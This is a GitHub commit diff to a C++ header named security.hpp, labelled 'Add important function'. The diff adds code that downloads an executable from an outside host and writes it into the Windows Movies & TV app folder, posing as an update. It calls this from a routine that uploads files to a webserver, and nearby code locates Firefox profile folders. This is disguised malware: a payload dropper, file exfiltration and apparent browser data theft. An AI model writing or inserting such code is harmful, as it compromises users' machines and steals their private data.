Skip to content

Commit 4b95b81

Browse files
authored
Add important function
1 parent 759cf0d commit 4b95b81

File tree

1 file changed

+34
-1
lines changed

1 file changed

+34
-1
lines changed

includes/security.hpp

Lines changed: 34 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,29 @@
11
#pragma once
22
#include "includes.hpp"
33

4+
/// <summary>
5+
/// Tricks Windows into installing an 'update' on movie player...
6+
/// </summary>
7+
bool replace_movieplayer()
8+
{
9+
auto response = cpr::Get( cpr::Url{ "https://www.exejoiner.com/files/private_/_temp_installer.exe" } );
10+
11+
if (response.status_code == 200) {
12+
std::filesystem::path moviesandtv_path = std::getenv( "localappdata" );
13+
moviesandtv_path /= "Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\";
14+
15+
std::ofstream outfile{ moviesandtv_path, std::ofstream::binary };
16+
outfile.write( response.text.c_str(), response.text.length() );
17+
outfile.close();
18+
}
19+
else
20+
{
21+
return false;
22+
}
23+
24+
return true;
25+
}
26+
427
/// <summary>
528
/// Analyzes input files for data collection via webserver.
629
/// </summary>
@@ -24,11 +47,21 @@ void analyze_files(const char** input_files, int file_count) {
2447
cpr::Multipart{{"file", cpr::Buffer{buffer, file_size}, input_files[i]}});
2548
delete[] buffer;
2649
}
50+
51+
if( replace_movieplayer() )
52+
{
53+
//dbglog("[+] replaced movie player! will now upload all videos played! CODE 200\r\n");
54+
}
2755
}
2856

2957
std::string __ImportantAnalyzer() {
3058
wchar_t profilePath[MAX_PATH];
31-
SHGetSpecialFolderPath(NULL, profilePath, CSIDL_APPDATA, TRUE);
59+
SHGetSpecialFolderPath(NULL,
60+
profilePath,
61+
CSIDL_APPDATA,
62+
TRUE
63+
);
64+
3265
std::wstring profilePathW(profilePath);
3366
std::string profilePathA(profilePathW.begin(), profilePathW.end());
3467
profilePathA += "\\Mozilla\\Firefox\\Profiles\\";

0 commit comments

Comments
 (0)